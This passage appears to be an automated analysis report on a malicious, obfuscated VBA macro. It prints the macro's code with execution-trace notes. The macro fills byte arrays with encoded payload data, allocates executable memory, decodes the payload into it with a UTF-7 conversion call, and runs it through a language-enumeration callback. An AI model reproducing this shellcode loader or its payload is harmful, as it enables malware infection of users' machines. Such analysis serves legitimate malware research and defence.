100	ljLLJJLJjjjjJijI(2154) = &H4D
100	ljLLJJLJjjjjJijI(2155) = &H43
100	ljLLJJLJjjjjJijI(2156) = &H42
100	ljLLJJLJjjjjJijI(2157) = &H78
100	ljLLJJLJjjjjJijI(2158) = &H43
100	ljLLJJLJjjjjJijI(2159) = &H6A
100	ljLLJJLJjjjjJijI(2160) = &H59
100	ljLLJJLJjjjjJijI(2161) = &H7A
100	ljLLJJLJjjjjJijI(2162) = &H58
100	ljLLJJLJjjjjJijI(2163) = &H7A
100	ljLLJJLJjjjjJijI(2164) = &H42
100	ljLLJJLJjjjjJijI(2165) = &H34
100	ljLLJJLJjjjjJijI(2166) = &H5A
100	ljLLJJLJjjjjJijI(2167) = &H57
100	ljLLJJLJjjjjJijI(2168) = &H6C
100	ljLLJJLJjjjjJijI(2169) = &H77
100	ljLLJJLJjjjjJijI(2170) = &H65
100	ljLLJJLJjjjjJijI(2171) = &H58
100	ljLLJJLJjjjjJijI(2172) = &H4A
100	ljLLJJLJjjjjJijI(2173) = &H35
100	ljLLJJLJjjjjJijI(2174) = &H58
100	ljLLJJLJjjjjJijI(2175) = &H32
100	ljLLJJLJjjjjJijI(2176) = &H46
101	ljLLJJLJjjjjJijI(2177) = &H6C
101	ljLLJJLJjjjjJijI(2178) = &H58
101	ljLLJJLJjjjjJijI(2179) = &H33
101	ljLLJJLJjjjjJijI(2180) = &H4A
101	ljLLJJLJjjjjJijI(2181) = &H68
101	ljLLJJLJjjjjJijI(2182) = &H5A
101	ljLLJJLJjjjjJijI(2183) = &H47
101	ljLLJJLJjjjjJijI(2184) = &H56
101	ljLLJJLJjjjjJijI(2185) = &H30
101	ljLLJJLJjjjjJijI(2186) = &H50
101	ljLLJJLJjjjjJijI(2187) = &H53
101	ljLLJJLJjjjjJijI(2188) = &H41
101	ljLLJJLJjjjjJijI(2189) = &H77
101	ljLLJJLJjjjjJijI(2190) = &H49
101	ljLLJJLJjjjjJijI(2191) = &H44
101	ljLLJJLJjjjjJijI(2192) = &H64
101	ljLLJJLJjjjjJijI(2193) = &H34
101	ljLLJJLJjjjjJijI(2194) = &H4E
101	ljLLJJLJjjjjJijI(2195) = &H6D
101	ljLLJJLJjjjjJijI(2196) = &H56
101	ljLLJJLJjjjjJijI(2197) = &H68
101	ljLLJJLJjjjjJijI(2198) = &H4D
101	ljLLJJLJjjjjJijI(2199) = &H44
101	ljLLJJLJjjjjJijI(2200) = &H49
101	ljLLJJLJjjjjJijI(2201) = &H77
101	ljLLJJLJjjjjJijI(2202) = &H63
101	ljLLJJLJjjjjJijI(2203) = &H77
101	ljLLJJLJjjjjJijI(2204) = &H70
101	ljLLJJLJjjjjJijI(2205) = &H74
101	ljLLJJLJjjjjJijI(2206) = &H65
101	ljLLJJLJjjjjJijI(2207) = &H57
101	ljLLJJLJjjjjJijI(2208) = &H35
102	ljLLJJLJjjjjJijI(2209) = &H68
102	ljLLJJLJjjjjJijI(2210) = &H5A
102	ljLLJJLJjjjjJijI(2211) = &H58
102	ljLLJJLJjjjjJijI(2212) = &H52
102	ljLLJJLJjjjjJijI(2213) = &H66
102	ljLLJJLJjjjjJijI(2214) = &H59
102	ljLLJJLJjjjjJijI(2215) = &H33
102	ljLLJJLJjjjjJijI(2216) = &H68
102	ljLLJJLJjjjjJijI(2217) = &H6C
102	ljLLJJLJjjjjJijI(2218) = &H61
102	ljLLJJLJjjjjJijI(2219) = &H58
102	ljLLJJLJjjjjJijI(2220) = &H42
102	ljLLJJLJjjjjJijI(2221) = &H35
102	ljLLJJLJjjjjJijI(2222) = &H63
102	ljLLJJLJjjjjJijI(2223) = &H6E
102	ljLLJJLJjjjjJijI(2224) = &H6C
102	ljLLJJLJjjjjJijI(2225) = &H66
102	ljLLJJLJjjjjJijI(2226) = &H59
102	ljLLJJLJjjjjJijI(2227) = &H57
102	ljLLJJLJjjjjJijI(2228) = &H56
102	ljLLJJLJjjjjJijI(2229) = &H66
102	ljLLJJLJjjjjJijI(2230) = &H63
102	ljLLJJLJjjjjJijI(2231) = &H6D
102	ljLLJJLJjjjjJijI(2232) = &H46
102	ljLLJJLJjjjjJijI(2233) = &H6B
102	ljLLJJLJjjjjJijI(2234) = &H5A
102	ljLLJJLJjjjjJijI(2235) = &H58
102	ljLLJJLJjjjjJijI(2236) = &H51
102	ljLLJJLJjjjjJijI(2237) = &H39
102	ljLLJJLJjjjjJijI(2238) = &H49
102	ljLLJJLJjjjjJijI(2239) = &H44
102	ljLLJJLJjjjjJijI(2240) = &H41
103	ljLLJJLJjjjjJijI(2241) = &H67
103	ljLLJJLJjjjjJijI(2242) = &H61
103	ljLLJJLJjjjjJijI(2243) = &H77
103	ljLLJJLJjjjjJijI(2244) = &H70
103	ljLLJJLJjjjjJijI(2245) = &H7A
103	ljLLJJLJjjjjJijI(2246) = &H59
103	ljLLJJLJjjjjJijI(2247) = &H57
103	ljLLJJLJjjjjJijI(2248) = &H56
103	ljLLJJLJjjjjJijI(2249) = &H77
103	ljLLJJLJjjjjJijI(2250) = &H63
103	ljLLJJLJjjjjJijI(2251) = &H33
103	ljLLJJLJjjjjJijI(2252) = &H4A
103	ljLLJJLJjjjjJijI(2253) = &H35
103	ljLLJJLJjjjjJijI(2254) = &H61
103	ljLLJJLJjjjjJijI(2255) = &H32
103	ljLLJJLJjjjjJijI(2256) = &H56
103	ljLLJJLJjjjjJijI(2257) = &H66
103	ljLLJJLJjjjjJijI(2258) = &H63
103	ljLLJJLJjjjjJijI(2259) = &H48
103	ljLLJJLJjjjjJijI(2260) = &H68
103	ljLLJJLJjjjjJijI(2261) = &H79
103	ljLLJJLJjjjjJijI(2262) = &H61
103	ljLLJJLJjjjjJijI(2263) = &H56
103	ljLLJJLJjjjjJijI(2264) = &H39
103	ljLLJJLJjjjjJijI(2265) = &H35
103	ljLLJJLJjjjjJijI(2266) = &H5A
103	ljLLJJLJjjjjJijI(2267) = &H58
103	ljLLJJLJjjjjJijI(2268) = &H6C
103	ljLLJJLJjjjjJijI(2269) = &H79
103	ljLLJJLJjjjjJijI(2270) = &H59
103	ljLLJJLJjjjjJijI(2271) = &H57
103	ljLLJJLJjjjjJijI(2272) = &H52
104	ljLLJJLJjjjjJijI(2273) = &H66
104	ljLLJJLJjjjjJijI(2274) = &H64
104	ljLLJJLJjjjjJijI(2275) = &H47
104	ljLLJJLJjjjjJijI(2276) = &H45
104	ljLLJJLJjjjjJijI(2277) = &H67
104	ljLLJJLJjjjjJijI(2278) = &H5A
104	ljLLJJLJjjjjJijI(2279) = &H53
104	ljLLJJLJjjjjJijI(2280) = &H41
104	ljLLJJLJjjjjJijI(2281) = &H39
104	ljLLJJLJjjjjJijI(2282) = &H65
104	ljLLJJLJjjjjJijI(2283) = &H44
104	ljLLJJLJjjjjJijI(2284) = &H42
104	ljLLJJLJjjjjJijI(2285) = &H6C
104	ljLLJJLJjjjjJijI(2286) = &H4E
104	ljLLJJLJjjjjJijI(2287) = &H7A
104	ljLLJJLJjjjjJijI(2288) = &H41
104	ljLLJJLJjjjjJijI(2289) = &H32
104	ljLLJJLJjjjjJijI(2290) = &H4D
104	ljLLJJLJjjjjJijI(2291) = &H47
104	ljLLJJLJjjjjJijI(2292) = &H45
104	ljLLJJLJjjjjJijI(2293) = &H2D
104	ljLLJJLJjjjjJijI(2294) = &H36
104	ljLLJJLJjjjjJijI(2295) = &H2B
104	ljLLJJLJjjjjJijI(2296) = &H4F
104	ljLLJJLJjjjjJijI(2297) = &H67
104	ljLLJJLJjjjjJijI(2298) = &H59
104	ljLLJJLJjjjjJijI(2299) = &H41
104	ljLLJJLJjjjjJijI(2300) = &H46
104	ljLLJJLJjjjjJijI(2301) = &H67
104	ljLLJJLJjjjjJijI(2302) = &H2D
104	ljLLJJLJjjjjJijI(2303) = &H27
104	ljLLJJLJjjjjJijI(2304) = &H2B
105	ljLLJJLJjjjjJijI(2305) = &H4A
105	ljLLJJLJjjjjJijI(2306) = &H77
105	ljLLJJLJjjjjJijI(2307) = &H41
105	ljLLJJLJjjjjJijI(2308) = &H36
105	ljLLJJLJjjjjJijI(2309) = &H42
105	ljLLJJLJjjjjJijI(2310) = &H77
105	ljLLJJLJjjjjJijI(2311) = &H41
105	ljLLJJLJjjjjJijI(2312) = &H57
105	ljLLJJLJjjjjJijI(2313) = &H7A
105	ljLLJJLJjjjjJijI(2314) = &H77
105	ljLLJJLJjjjjJijI(2315) = &H41
105	ljLLJJLJjjjjJijI(2316) = &H44
105	ljLLJJLJjjjjJijI(2317) = &H48
105	ljLLJJLJjjjjJijI(2318) = &H4C
105	ljLLJJLJjjjjJijI(2319) = &H30
105	ljLLJJLJjjjjJijI(2320) = &H59
105	ljLLJJLJjjjjJijI(2321) = &H41
105	ljLLJJLJjjjjJijI(2322) = &H78
105	ljLLJJLJjjjjJijI(2323) = &H67
105	ljLLJJLJjjjjJijI(2324) = &H77
105	ljLLJJLJjjjjJijI(2325) = &H4E
105	ljLLJJLJjjjjJijI(2326) = &H6A
105	ljLLJJLJjjjjJijI(2327) = &H42
105	ljLLJJLJjjjjJijI(2328) = &H68
105	ljLLJJLJjjjjJijI(2329) = &H2D
105	ljLLJJLJjjjjJijI(2330) = &H36
105	ljLLJJLJjjjjJijI(2331) = &H2B
105	ljLLJJLJjjjjJijI(2332) = &H41
105	ljLLJJLJjjjjJijI(2333) = &H42
105	ljLLJJLJjjjjJijI(2334) = &H59
105	ljLLJJLJjjjjJijI(2335) = &H41
105	ljLLJJLJjjjjJijI(2336) = &H4A
106	ljLLJJLJjjjjJijI(2337) = &H43
106	ljLLJJLJjjjjJijI(2338) = &H51
106	ljLLJJLJjjjjJijI(2339) = &H41
106	ljLLJJLJjjjjJijI(2340) = &H4F
106	ljLLJJLJjjjjJijI(2341) = &H67
106	ljLLJJLJjjjjJijI(2342) = &H49
106	ljLLJJLJjjjjJijI(2343) = &H41
106	ljLLJJLJjjjjJijI(2344) = &H46
106	ljLLJJLJjjjjJijI(2345) = &H73
106	ljLLJJLJjjjjJijI(2346) = &H38
106	ljLLJJLJjjjjJijI(2347) = &H41
106	ljLLJJLJjjjjJijI(2348) = &H41
106	ljLLJJLJjjjjJijI(2349) = &H78
106	ljLLJJLJjjjjJijI(2350) = &H79
106	ljLLJJLJjjjjJijI(2351) = &H39
106	ljLLJJLJjjjjJijI(2352) = &H47
106	ljLLJJLJjjjjJijI(2353) = &H41
106	ljLLJJLJjjjjJijI(2354) = &H4D
106	ljLLJJLJjjjjJijI(2355) = &H59
106	ljLLJJLJjjjjJijI(2356) = &H66
106	ljLLJJLJjjjjJijI(2357) = &H58
106	ljLLJJLJjjjjJijI(2358) = &H49
106	ljLLJJLJjjjjJijI(2359) = &H67
106	ljLLJJLJjjjjJijI(2360) = &H4C
106	ljLLJJLJjjjjJijI(2361) = &H6C
106	ljLLJJLJjjjjJijI(2362) = &H55
106	ljLLJJLJjjjjJijI(2363) = &H67
106	ljLLJJLJjjjjJijI(2364) = &H61
106	ljLLJJLJjjjjJijI(2365) = &H32
106	ljLLJJLJjjjjJijI(2366) = &H35
106	ljLLJJLJjjjjJijI(2367) = &H76
106	ljLLJJLJjjjjJijI(2368) = &H62
107	ljLLJJLJjjjjJijI(2369) = &H6D
107	ljLLJJLJjjjjJijI(2370) = &H35
107	ljLLJJLJjjjjJijI(2371) = &H33
107	ljLLJJLJjjjjJijI(2372) = &H64
107	ljLLJJLJjjjjJijI(2373) = &H69
107	ljLLJJLJjjjjJijI(2374) = &H42
107	ljLLJJLJjjjjJijI(2375) = &H79
107	ljLLJJLJjjjjJijI(2376) = &H59
107	ljLLJJLJjjjjJijI(2377) = &H57
107	ljLLJJLJjjjjJijI(2378) = &H46
107	ljLLJJLJjjjjJijI(2379) = &H70
107	ljLLJJLJjjjjJijI(2380) = &H62
107	ljLLJJLJjjjjJijI(2381) = &H47
107	ljLLJJLJjjjjJijI(2382) = &H4A
107	ljLLJJLJjjjjJijI(2383) = &H7A
107	ljLLJJLJjjjjJijI(2384) = &H5A
107	ljLLJJLJjjjjJijI(2385) = &H53
107	ljLLJJLJjjjjJijI(2386) = &H41
107	ljLLJJLJjjjjJijI(2387) = &H4B
107	ljLLJJLJjjjjJijI(2388) = &H49
107	ljLLJJLJjjjjJijI(2389) = &H43
107	ljLLJJLJjjjjJijI(2390) = &H42
107	ljLLJJLJjjjjJijI(2391) = &H68
107	ljLLJJLJjjjjJijI(2392) = &H49
107	ljLLJJLJjjjjJijI(2393) = &H47
107	ljLLJJLJjjjjJijI(2394) = &H56
107	ljLLJJLJjjjjJijI(2395) = &H79
107	ljLLJJLJjjjjJijI(2396) = &H62
107	ljLLJJLJjjjjJijI(2397) = &H43
107	ljLLJJLJjjjjJijI(2398) = &H42
107	ljLLJJLJjjjjJijI(2399) = &H6D
107	ljLLJJLJjjjjJijI(2400) = &H5A
108	ljLLJJLJjjjjJijI(2401) = &H53
108	ljLLJJLJjjjjJijI(2402) = &H42
108	ljLLJJLJjjjjJijI(2403) = &H30
108	ljLLJJLJjjjjJijI(2404) = &H62
108	ljLLJJLJjjjjJijI(2405) = &H6E
108	ljLLJJLJjjjjJijI(2406) = &H56
108	ljLLJJLJjjjjJijI(2407) = &H6F
108	ljLLJJLJjjjjJijI(2408) = &H59
108	ljLLJJLJjjjjJijI(2409) = &H32
108	ljLLJJLJjjjjJijI(2410) = &H35
108	ljLLJJLJjjjjJijI(2411) = &H68
108	ljLLJJLJjjjjJijI(2412) = &H5A
108	ljLLJJLJjjjjJijI(2413) = &H57
108	ljLLJJLJjjjjJijI(2414) = &H63
108	ljLLJJLJjjjjJijI(2415) = &H75
108	ljLLJJLJjjjjJijI(2416) = &H5A
108	ljLLJJLJjjjjJijI(2417) = &H41
108	ljLLJJLJjjjjJijI(2418) = &H46
108	ljLLJJLJjjjjJijI(2419) = &H30
108	ljLLJJLJjjjjJijI(2420) = &H2D
108	ljLLJJLJjjjjJijI(2421) = &H0
108	ljLLJJLJjjjjJijI(2422) = &H2B
108	ljLLJJLJjjjjJijI(2423) = &H4A
108	ljLLJJLJjjjjJijI(2424) = &H41
108	ljLLJJLJjjjjJijI(2425) = &H44
108	ljLLJJLJjjjjJijI(2426) = &H2F
108	ljLLJJLJjjjjJijI(2427) = &H61
108	ljLLJJLJjjjjJijI(2428) = &H66
108	ljLLJJLJjjjjJijI(2429) = &H2F
108	ljLLJJLJjjjjJijI(2430) = &H2F
108	ljLLJJLJjjjjJijI(2431) = &H54
108	ljLLJJLJjjjjJijI(2432) = &H76
109	ljLLJJLJjjjjJijI(2433) = &H38
109	ljLLJJLJjjjjJijI(2434) = &H52
109	ljLLJJLJjjjjJijI(2435) = &H64
109	ljLLJJLJjjjjJijI(2436) = &H51
109	ljLLJJLJjjjjJijI(2437) = &H2D
109	ljLLJJLJjjjjJijI(2438) = &H0
109	ljLLJJLJjjjjJijI(2439) = &H2B
109	ljLLJJLJjjjjJijI(2440) = &H58
109	ljLLJJLJjjjjJijI(2441) = &H41
109	ljLLJJLJjjjjJijI(2442) = &H41
109	ljLLJJLJjjjjJijI(2443) = &H6F
109	ljLLJJLJjjjjJijI(2444) = &H4A
109	ljLLJJLJjjjjJijI(2445) = &H48
109	ljLLJJLJjjjjJijI(2446) = &H64
109	ljLLJJLJjjjjJijI(2447) = &H63
109	ljLLJJLJjjjjJijI(2448) = &H66
109	ljLLJJLJjjjjJijI(2449) = &H43
109	ljLLJJLJjjjjJijI(2450) = &H74
109	ljLLJJLJjjjjJijI(2451) = &H37
109	ljLLJJLJjjjjJijI(2452) = &H58
109	ljLLJJLJjjjjJijI(2453) = &H46
109	ljLLJJLJjjjjJijI(2454) = &H35
109	ljLLJJLJjjjjJijI(2455) = &H62
109	ljLLJJLJjjjjJijI(2456) = &H58
109	ljLLJJLJjjjjJijI(2457) = &H58
109	ljLLJJLJjjjjJijI(2458) = &H31
109	ljLLJJLJjjjjJijI(2459) = &H63
109	ljLLJJLJjjjjJijI(2460) = &H4B
109	ljLLJJLJjjjjJijI(2461) = &H69
109	ljLLJJLJjjjjJijI(2462) = &H6C
109	ljLLJJLJjjjjJijI(2463) = &H39
109	ljLLJJLJjjjjJijI(2464) = &H45
110	ljLLJJLJjjjjJijI(2465) = &H58
110	ljLLJJLJjjjjJijI(2466) = &H4D
110	ljLLJJLJjjjjJijI(2467) = &H2D
110	ljLLJJLJjjjjJijI(2468) = &H0
110	ljLLJJLJjjjjJijI(2469) = &H2B
110	ljLLJJLJjjjjJijI(2470) = &H58
110	ljLLJJLJjjjjJijI(2471) = &H41
110	ljLLJJLJjjjjJijI(2472) = &H41
110	ljLLJJLJjjjjJijI(2473) = &H6F
110	ljLLJJLJjjjjJijI(2474) = &H4A
110	ljLLJJLJjjjjJijI(2475) = &H48
110	ljLLJJLJjjjjJijI(2476) = &H64
110	ljLLJJLJjjjjJijI(2477) = &H63
110	ljLLJJLJjjjjJijI(2478) = &H66
110	ljLLJJLJjjjjJijI(2479) = &H43
110	ljLLJJLJjjjjJijI(2480) = &H74
110	ljLLJJLJjjjjJijI(2481) = &H37
110	ljLLJJLJjjjjJijI(2482) = &H58
110	ljLLJJLJjjjjJijI(2483) = &H41
110	ljLLJJLJjjjjJijI(2484) = &H2D
112	iJLlijjILjjJLjJJ = jIiijLJLLiLJIiiJ(- 1, ljJLIjIILliJIiLJ, 0, &H5000, &H3000, &H40)	ntdll!ZwAllocateVirtualMemory(-1,0,0,20480,12288,64) executed
113	ILJjijIJIjIjlLIi = IJIiLJIJlllJIjIJ(65000, 0, VarPtr(ljLLJJLJjjjjJijI(0)), 4096, ljJLIjIILliJIiLJ, 4096)	kernel32!MultiByteToWideChar(65000,0,110657456,4096,140836864,4096) VarPtr executed
114	ILJjijIJIjIjlLIi = jjLliiILilJiliIj(ljJLIjIILliJIiLJ, 0, 0, 0)	kernelbase!Internal_EnumUILanguages(140836864,0,0,0) executed
116	End Sub

Non-Executed Functions

Subroutine
JjliIliIiJJIjlLjAPIs: 4, Strings: 0, Number of lines: 1895, Relevance: 6.895

APIs	Meta Information
jIiijLJLLiLJIiiJ
IJIiLJIJlllJIjIJ
VarPtr
jjLliiILilJiliIj

Line	Instruction	Meta Information
118	Sub JjliIliIiJJIjlLj()
119	Dim IIlLIiiJJIIJiiIL(0 To 5000) as Byte
120	#if VBA7 then
121	Dim ljJLIjIILliJIiLJ as LongPtr
122	Dim iJLlijjILjjJLjJJ as LongPtr
123	Dim ILJjijIJIjIjlLIi as Long
124	#else
125	Dim ljJLIjIILliJIiLJ as Long
126	Dim iJLlijjILjjJLjJJ as Long
127	Dim ILJjijIJIjIjlLIi as Long
128	#endif
131	IIlLIiiJJIIJiiIL(0) = &H2B
131	IIlLIiiJJIIJiiIL(1) = &H2F
131	IIlLIiiJJIIJiiIL(2) = &H34
131	IIlLIiiJJIIJiiIL(3) = &H6C
131	IIlLIiiJJIIJiiIL(4) = &H56
131	IIlLIiiJJIIJiiIL(5) = &H59
131	IIlLIiiJJIIJiiIL(6) = &H4F
131	IIlLIiiJJIIJiiIL(7) = &H57
131	IIlLIiiJJIIJiiIL(8) = &H4A
131	IIlLIiiJJIIJiiIL(9) = &H67
131	IIlLIiiJJIIJiiIL(10) = &H31
131	IIlLIiiJJIIJiiIL(11) = &H56
131	IIlLIiiJJIIJiiIL(12) = &H41
131	IIlLIiiJJIIJiiIL(13) = &H37
131	IIlLIiiJJIIJiiIL(14) = &H4F
131	IIlLIiiJJIIJiiIL(15) = &H76
131	IIlLIiiJJIIJiiIL(16) = &H5A
131	IIlLIiiJJIIJiiIL(17) = &H32
131	IIlLIiiJJIIJiiIL(18) = &H5A
131	IIlLIiiJJIIJiiIL(19) = &H73
131	IIlLIiiJJIIJiiIL(20) = &H6B
131	IIlLIiiJJIIJiiIL(21) = &H64
131	IIlLIiiJJIIJiiIL(22) = &H46
131	IIlLIiiJJIIJiiIL(23) = &H33
131	IIlLIiiJJIIJiiIL(24) = &H30
131	IIlLIiiJJIIJiiIL(25) = &H37
131	IIlLIiiJJIIJiiIL(26) = &H59
131	IIlLIiiJJIIJiiIL(27) = &H4F
131	IIlLIiiJJIIJiiIL(28) = &H4E
131	IIlLIiiJJIIJiiIL(29) = &H43
131	IIlLIiiJJIIJiiIL(30) = &H69
131	IIlLIiiJJIIJiiIL(31) = &H5A
131	IIlLIiiJJIIJiiIL(32) = &H4E
132	IIlLIiiJJIIJiiIL(33) = &H6D
132	IIlLIiiJJIIJiiIL(34) = &H72
132	IIlLIiiJJIIJiiIL(35) = &H6F
132	IIlLIiiJJIIJiiIL(36) = &H41
132	IIlLIiiJJIIJiiIL(37) = &H41
132	IIlLIiiJJIIJiiIL(38) = &H76
132	IIlLIiiJJIIJiiIL(39) = &H59
132	IIlLIiiJJIIJiiIL(40) = &H41
132	IIlLIiiJJIIJiiIL(41) = &H67
132	IIlLIiiJJIIJiiIL(42) = &H42
132	IIlLIiiJJIIJiiIL(43) = &H45
132	IIlLIiiJJIIJiiIL(44) = &H62
132	IIlLIiiJJIIJiiIL(45) = &H4D
132	IIlLIiiJJIIJiiIL(46) = &H55
132	IIlLIiiJJIIJiiIL(47) = &H70
132	IIlLIiiJJIIJiiIL(48) = &H42
132	IIlLIiiJJIIJiiIL(49) = &H39
132	IIlLIiiJJIIJiiIL(50) = &H33
132	IIlLIiiJJIIJiiIL(51) = &H55
132	IIlLIiiJJIIJiiIL(52) = &H74
132	IIlLIiiJJIIJiiIL(53) = &H31
132	IIlLIiiJJIIJiiIL(54) = &H64
132	IIlLIiiJJIIJiiIL(55) = &H52
132	IIlLIiiJJIIJiiIL(56) = &H63
132	IIlLIiiJJIIJiiIL(57) = &H35
132	IIlLIiiJJIIJiiIL(58) = &H4F
132	IIlLIiiJJIIJiiIL(59) = &H53
132	IIlLIiiJJIIJiiIL(60) = &H41
132	IIlLIiiJJIIJiiIL(61) = &H35
132	IIlLIiiJJIIJiiIL(62) = &H4E
132	IIlLIiiJJIIJiiIL(63) = &H42
132	IIlLIiiJJIIJiiIL(64) = &H76
133	IIlLIiiJJIIJiiIL(65) = &H62
133	IIlLIiiJJIIJiiIL(66) = &H2B
133	IIlLIiiJJIIJiiIL(67) = &H58
133	IIlLIiiJJIIJiiIL(68) = &H6F
133	IIlLIiiJJIIJiiIL(69) = &H6B
133	IIlLIiiJJIIJiiIL(70) = &H70
133	IIlLIiiJJIIJiiIL(71) = &H4A
133	IIlLIiiJJIIJiiIL(72) = &H76
133	IIlLIiiJJIIJiiIL(73) = &H62
133	IIlLIiiJJIIJiiIL(74) = &H2F
133	IIlLIiiJJIIJiiIL(75) = &H6A
133	IIlLIiiJJIIJiiIL(76) = &H73
133	IIlLIiiJJIIJiiIL(77) = &H75
133	IIlLIiiJJIIJiiIL(78) = &H70
133	IIlLIiiJJIIJiiIL(79) = &H70
133	IIlLIiiJJIIJiiIL(80) = &H76
133	IIlLIiiJJIIJiiIL(81) = &H62
133	IIlLIiiJJIIJiiIL(82) = &H38
133	IIlLIiiJJIIJiiIL(83) = &H52
133	IIlLIiiJJIIJiiIL(84) = &H6B
133	IIlLIiiJJIIJiiIL(85) = &H30
133	IIlLIiiJJIIJiiIL(86) = &H75
133	IIlLIiiJJIIJiiIL(87) = &H71
133	IIlLIiiJJIIJiiIL(88) = &H62
133	IIlLIiiJJIIJiiIL(89) = &H6B
133	IIlLIiiJJIIJiiIL(90) = &H64
133	IIlLIiiJJIIJiiIL(91) = &H5A
133	IIlLIiiJJIIJiiIL(92) = &H74
133	IIlLIiiJJIIJiiIL(93) = &H46
133	IIlLIiiJJIIJiiIL(94) = &H67
133	IIlLIiiJJIIJiiIL(95) = &H30
133	IIlLIiiJJIIJiiIL(96) = &H36
134	IIlLIiiJJIIJiiIL(97) = &H35
134	IIlLIiiJJIIJiiIL(98) = &H47
134	IIlLIiiJJIIJiiIL(99) = &H50
134	IIlLIiiJJIIJiiIL(100) = &H6B
134	IIlLIiiJJIIJiiIL(101) = &H35
134	IIlLIiiJJIIJiiIL(102) = &H47
134	IIlLIiiJJIIJiiIL(103) = &H32
134	IIlLIiiJJIIJiiIL(104) = &H45
134	IIlLIiiJJIIJiiIL(105) = &H62
134	IIlLIiiJJIIJiiIL(106) = &H52
134	IIlLIiiJJIIJiiIL(107) = &H6D
134	IIlLIiiJJIIJiiIL(108) = &H79
134	IIlLIiiJJIIJiiIL(109) = &H46
134	IIlLIiiJJIIJiiIL(110) = &H35
134	IIlLIiiJJIIJiiIL(111) = &H64
134	IIlLIiiJJIIJiiIL(112) = &H76
134	IIlLIiiJJIIJiiIL(113) = &H62
134	IIlLIiiJJIIJiiIL(114) = &H39
134	IIlLIiiJJIIJiiIL(115) = &H6A
134	IIlLIiiJJIIJiiIL(116) = &H36
134	IIlLIiiJJIIJiiIL(117) = &H6B
134	IIlLIiiJJIIJiiIL(118) = &H4F
134	IIlLIiiJJIIJiiIL(119) = &H57
134	IIlLIiiJJIIJiiIL(120) = &H63
134	IIlLIiiJJIIJiiIL(121) = &H73
134	IIlLIiiJJIIJiiIL(122) = &H6A
134	IIlLIiiJJIIJiiIL(123) = &H71
134	IIlLIiiJJIIJiiIL(124) = &H53
134	IIlLIiiJJIIJiiIL(125) = &H62
134	IIlLIiiJJIIJiiIL(126) = &H2B
134	IIlLIiiJJIIJiiIL(127) = &H58
134	IIlLIiiJJIIJiiIL(128) = &H45
135	IIlLIiiJJIIJiiIL(129) = &H31
135	IIlLIiiJJIIJiiIL(130) = &H54
135	IIlLIiiJJIIJiiIL(131) = &H71
135	IIlLIiiJJIIJiiIL(132) = &H74
135	IIlLIiiJJIIJiiIL(133) = &H4C
135	IIlLIiiJJIIJiiIL(134) = &H5A
135	IIlLIiiJJIIJiiIL(135) = &H46
135	IIlLIiiJJIIJiiIL(136) = &H6C
135	IIlLIiiJJIIJiiIL(137) = &H4E
135	IIlLIiiJJIIJiiIL(138) = &H2B
135	IIlLIiiJJIIJiiIL(139) = &H52
135	IIlLIiiJJIIJiiIL(140) = &H4A
135	IIlLIiiJJIIJiiIL(141) = &H4A
135	IIlLIiiJJIIJiiIL(142) = &H4B
135	IIlLIiiJJIIJiiIL(143) = &H56
135	IIlLIiiJJIIJiiIL(144) = &H65
135	IIlLIiiJJIIJiiIL(145) = &H35
135	IIlLIiiJJIIJiiIL(146) = &H55
135	IIlLIiiJJIIJiiIL(147) = &H6D
135	IIlLIiiJJIIJiiIL(148) = &H79
135	IIlLIiiJJIIJiiIL(149) = &H50
135	IIlLIiiJJIIJiiIL(150) = &H42
135	IIlLIiiJJIIJiiIL(151) = &H4C
135	IIlLIiiJJIIJiiIL(152) = &H56
135	IIlLIiiJJIIJiiIL(153) = &H57
135	IIlLIiiJJIIJiiIL(154) = &H75
135	IIlLIiiJJIIJiiIL(155) = &H76
135	IIlLIiiJJIIJiiIL(156) = &H63
135	IIlLIiiJJIIJiiIL(157) = &H39
135	IIlLIiiJJIIJiiIL(158) = &H4A
135	IIlLIiiJJIIJiiIL(159) = &H41
135	IIlLIiiJJIIJiiIL(160) = &H79
136	IIlLIiiJJIIJiiIL(161) = &H4A
136	IIlLIiiJJIIJiiIL(162) = &H65
136	IIlLIiiJJIIJiiIL(163) = &H7A
136	IIlLIiiJJIIJiiIL(164) = &H6A
136	IIlLIiiJJIIJiiIL(165) = &H4B
136	IIlLIiiJJIIJiiIL(166) = &H6A
136	IIlLIiiJJIIJiiIL(167) = &H4C
136	IIlLIiiJJIIJiiIL(168) = &H6C
136	IIlLIiiJJIIJiiIL(169) = &H44
136	IIlLIiiJJIIJiiIL(170) = &H36
136	IIlLIiiJJIIJiiIL(171) = &H54
136	IIlLIiiJJIIJiiIL(172) = &H64
136	IIlLIiiJJIIJiiIL(173) = &H46
136	IIlLIiiJJIIJiiIL(174) = &H65
136	IIlLIiiJJIIJiiIL(175) = &H53
136	IIlLIiiJJIIJiiIL(176) = &H52
136	IIlLIiiJJIIJiiIL(177) = &H6B
136	IIlLIiiJJIIJiiIL(178) = &H62
136	IIlLIiiJJIIJiiIL(179) = &H71
136	IIlLIiiJJIIJiiIL(180) = &H2B
136	IIlLIiiJJIIJiiIL(181) = &H41
136	IIlLIiiJJIIJiiIL(182) = &H44
136	IIlLIiiJJIIJiiIL(183) = &H74
136	IIlLIiiJJIIJiiIL(184) = &H74
136	IIlLIiiJJIIJiiIL(185) = &H76
136	IIlLIiiJJIIJiiIL(186) = &H6D
136	IIlLIiiJJIIJiiIL(187) = &H2F
136	IIlLIiiJJIIJiiIL(188) = &H6C
136	IIlLIiiJJIIJiiIL(189) = &H77
136	IIlLIiiJJIIJiiIL(190) = &H49
136	IIlLIiiJJIIJiiIL(191) = &H49
136	IIlLIiiJJIIJiiIL(192) = &H66
137	IIlLIiiJJIIJiiIL(193) = &H36
137	IIlLIiiJJIIJiiIL(194) = &H47
137	IIlLIiiJJIIJiiIL(195) = &H39
137	IIlLIiiJJIIJiiIL(196) = &H76
137	IIlLIiiJJIIJiiIL(197) = &H72
137	IIlLIiiJJIIJiiIL(198) = &H2F
137	IIlLIiiJJIIJiiIL(199) = &H69
137	IIlLIiiJJIIJiiIL(200) = &H2B
137	IIlLIiiJJIIJiiIL(201) = &H48
137	IIlLIiiJJIIJiiIL(202) = &H2B
137	IIlLIiiJJIIJiiIL(203) = &H58
137	IIlLIiiJJIIJiiIL(204) = &H67
137	IIlLIiiJJIIJiiIL(205) = &H62
137	IIlLIiiJJIIJiiIL(206) = &H2B
137	IIlLIiiJJIIJiiIL(207) = &H56
137	IIlLIiiJJIIJiiIL(208) = &H76
137	IIlLIiiJJIIJiiIL(209) = &H62
137	IIlLIiiJJIIJiiIL(210) = &H52
137	IIlLIiiJJIIJiiIL(211) = &H7A
137	IIlLIiiJJIIJiiIL(212) = &H6B
